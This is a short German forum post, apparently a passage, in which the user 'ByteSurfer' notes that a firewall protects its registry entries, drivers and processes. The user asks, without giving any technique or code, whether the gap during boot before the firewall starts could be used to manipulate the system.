Das beinhaltet z.B.
- Registrie
- Treiber
- die eigenen Processe
usw..
eigentlich ein sehr hartnäckiges Ding!
Mene Überlegung geht in die Richtung, dass wenn der Rechner startet gibt es eine bestimmte Reihenfolge wie das System gestartet wird.
Die Firewall kann doch erst Traffic filtern, sowie ihre Arbeit nach erfolgreichem Start durchführen.
Frage:
1. hat man nicht hier die Möglichlkeit das System zu manipulieren!?


Ich hoffe für einen Anstoß einer Diskussion oder Erfahrungsaustausch sollte der Thread langen.

Freue mich über kräftige Unterstützung und Wisssensfluten... ;)


MFG

ByteSurfer
 
Zurück
Oben